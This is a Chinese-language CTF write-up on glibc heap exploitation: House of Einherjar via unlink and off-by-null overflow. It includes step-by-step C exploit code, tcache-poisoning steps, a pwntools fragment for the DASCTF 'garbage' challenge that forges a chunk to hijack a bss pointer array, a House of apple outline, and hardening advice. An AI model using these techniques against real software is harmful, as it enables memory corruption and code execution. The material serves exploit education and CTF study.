PWN - House of einherjar (unlink) x off by one (null)
字数 1476 2025-08-19 12:40:43

House of Einherjar (unlink) 与 off by one (null) 漏洞利用技术详解

一、House of Einherjar (unlink) 技术

1. 技术原理

House of Einherjar 是一种利用堆溢出漏洞结合 unlink 机制的攻击技术,主要特点是通过构造伪造的堆块(chunk)来欺骗 malloc 的内存管理机制。

核心机制:

  • 利用向前合并(forward consolidation)机制
  • 通过修改相邻堆块的元数据触发 unlink 操作
  • 最终实现任意地址分配控制

关键源码分析:

/* consolidate forward */
if (!nextinuse) {
    unlink(av, nextchunk, bck, fwd);
    size += nextsize;
} else
    clear_inuse_bit_at_offset(nextchunk, 0);

2. 利用条件

  1. 存在堆溢出漏洞,能够修改相邻堆块的元数据
  2. 需要知道堆的地址(heap leak)
  3. 在 glibc-2.31 及更高版本中,需要先填满 tcache 才能利用

3. 详细利用步骤

步骤1:构造伪造的 free chunk

intptr_t *a = malloc(0x38);
a[0] = 0;    // prev_size
a[1] = 0x60; // size
a[2] = (size_t) a; // fwd
a[3] = (size_t) a; // bck

步骤2:分配相邻堆块并触发溢出

uint8_t *b = (uint8_t *) malloc(0x28);
uint8_t *c = (uint8_t *) malloc(0xf8);

// 触发 off-by-one null 溢出
b[real_b_size] = 0; // 清除 next chunk 的 prev_inuse 位

步骤3:构造伪造的 prev_size

size_t fake_size = (size_t)((c - sizeof(size_t) * 2) - (uint8_t*) a);
*(size_t*) &b[real_b_size-sizeof(size_t)] = fake_size;
a[1] = fake_size; // 更新伪造 chunk 的 size

步骤4:绕过 unlink 检查

需要满足:

  1. chunksize(P) == prev_size(next_chunk(P))
  2. FD->bk == P && BK->fd == P (双向链表完整性检查)

步骤5:填满 tcache 并触发合并

// 填满 tcache
intptr_t *x[7];
for(int i=0; i<7; i++) {
    x[i] = malloc(0xf8);
    free(x[i]);
}

// 触发合并
free(c);

步骤6:实现任意地址分配

intptr_t *d = malloc(0x158); // 分配到伪造 chunk 的位置

步骤7:进行 tcache poisoning 攻击

free(b);
d[0x30 / 8] = (long) stack_var; // 修改 fd 指针
malloc(0x28); // 触发分配
intptr_t *e = malloc(0x28); // 获取目标地址的控制权

4. 防护机制绕过

在 glibc-2.31 及更高版本中,需要:

  1. 先填满 tcache 对应的 bin
  2. 确保伪造的 chunk 大小不会超过 arena 分配的内存大小限制

二、off by one (null) 漏洞利用

1. 基本概念

off-by-one 是一种特殊的溢出漏洞,特指程序向缓冲区写入时,写入的字节数超过了缓冲区本身申请的字节数且只越界一个字节。

特殊形式:off by null

  • 只溢出一个 null 字节 ('\x00')
  • 常用于修改堆块的 prev_inuse 位
  • 结合 unlink 可以实现更强大的攻击

2. 典型漏洞代码

for ( i = 0; i < a2; ++i ) {
    buf = 0;
    if ( read(0, &buf, 1uLL) < 0 )
      fault();
    if ( buf == 10 ) {
      *(_BYTE *)(i + a1) = 0; // off by null
      break;
    }
    *(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0; // 额外的 null 字节写入

3. 实际案例分析:DASCTF X 0psu3 十一月挑战赛 garbage

漏洞分析:

  1. 存在 off by null 漏洞
  2. 无 UAF (Use After Free)
  3. 堆块指针和 size 存储在 bss 段
  4. 未开启 PIE (Position Independent Executable)

利用思路:

  1. 利用 unlink 将堆块放到 bss 段
  2. 劫持堆块指针数组和 size 数组
  3. 修改 size 造成堆溢出
  4. 进行 UAF 攻击
  5. 使用 House of apple 的调用链进行 IO 攻击

关键利用代码:

target = 0x404060 # bss 段地址

# 构造伪造 chunk
add(0,0x428,b'aaaa')
add(1,0x4f0,b'aaaa')
add(2,0x410,b'aaaa')

payload = p64(0) + p64(0x421) + p64(target - 0x18) + p64(target - 0x10)
payload = payload.ljust(0x420,b'\x00')
payload += p64(0x420)

edit(0,payload)
delete(1) # 触发合并

# 修改 bss 段上的堆管理结构
edit(0,b'\x00'*0x18 + p64(target - 0x18) + p64(0x4040c0)+p64(0)*10 + p32(0x1000)*10)

House of apple 攻击链:

  1. 劫持 stderr 结构体
  2. 构造伪造的 IO 结构
  3. 通过 IO 操作调用 system 函数

三、防护与检测建议

  1. 对堆块边界进行严格检查

  2. 实现更严格的 unlink 检查机制

  3. 使用现代的堆分配器保护措施:

    • 增加更多的完整性检查
    • 使用随机化的堆布局
    • 实现更严格的元数据保护
  4. 代码审计时特别注意:

    • 所有可能导致 off-by-one 的循环和字符串操作
    • 任何可能修改堆块元数据的操作
    • 不安全的 size 计算和传递

四、参考资源

  1. PWN——House Of Einherjar CTF Wiki例题详解
  2. PWN 堆利用 unlink 学习笔记
  3. 堆溢出 off by one & off by null
  4. 新型 IO 利用方法学习——House of apple2
House of Einherjar (unlink) 与 off by one (null) 漏洞利用技术详解 一、House of Einherjar (unlink) 技术 1. 技术原理 House of Einherjar 是一种利用堆溢出漏洞结合 unlink 机制的攻击技术,主要特点是通过构造伪造的堆块(chunk)来欺骗 malloc 的内存管理机制。 核心机制: 利用向前合并(forward consolidation)机制 通过修改相邻堆块的元数据触发 unlink 操作 最终实现任意地址分配控制 关键源码分析: 2. 利用条件 存在堆溢出漏洞,能够修改相邻堆块的元数据 需要知道堆的地址(heap leak) 在 glibc-2.31 及更高版本中,需要先填满 tcache 才能利用 3. 详细利用步骤 步骤1:构造伪造的 free chunk 步骤2:分配相邻堆块并触发溢出 步骤3:构造伪造的 prev_ size 步骤4:绕过 unlink 检查 需要满足: chunksize(P) == prev_size(next_chunk(P)) FD->bk == P && BK->fd == P (双向链表完整性检查) 步骤5:填满 tcache 并触发合并 步骤6:实现任意地址分配 步骤7:进行 tcache poisoning 攻击 4. 防护机制绕过 在 glibc-2.31 及更高版本中,需要: 先填满 tcache 对应的 bin 确保伪造的 chunk 大小不会超过 arena 分配的内存大小限制 二、off by one (null) 漏洞利用 1. 基本概念 off-by-one 是一种特殊的溢出漏洞,特指程序向缓冲区写入时,写入的字节数超过了缓冲区本身申请的字节数且只越界一个字节。 特殊形式:off by null 只溢出一个 null 字节 ('\x00') 常用于修改堆块的 prev_ inuse 位 结合 unlink 可以实现更强大的攻击 2. 典型漏洞代码 3. 实际案例分析:DASCTF X 0psu3 十一月挑战赛 garbage 漏洞分析: 存在 off by null 漏洞 无 UAF (Use After Free) 堆块指针和 size 存储在 bss 段 未开启 PIE (Position Independent Executable) 利用思路: 利用 unlink 将堆块放到 bss 段 劫持堆块指针数组和 size 数组 修改 size 造成堆溢出 进行 UAF 攻击 使用 House of apple 的调用链进行 IO 攻击 关键利用代码: House of apple 攻击链: 劫持 stderr 结构体 构造伪造的 IO 结构 通过 IO 操作调用 system 函数 三、防护与检测建议 对堆块边界进行严格检查 实现更严格的 unlink 检查机制 使用现代的堆分配器保护措施: 增加更多的完整性检查 使用随机化的堆布局 实现更严格的元数据保护 代码审计时特别注意: 所有可能导致 off-by-one 的循环和字符串操作 任何可能修改堆块元数据的操作 不安全的 size 计算和传递 四、参考资源 PWN——House Of Einherjar CTF Wiki例题详解 PWN 堆利用 unlink 学习笔记 堆溢出 off by one & off by null 新型 IO 利用方法学习——House of apple2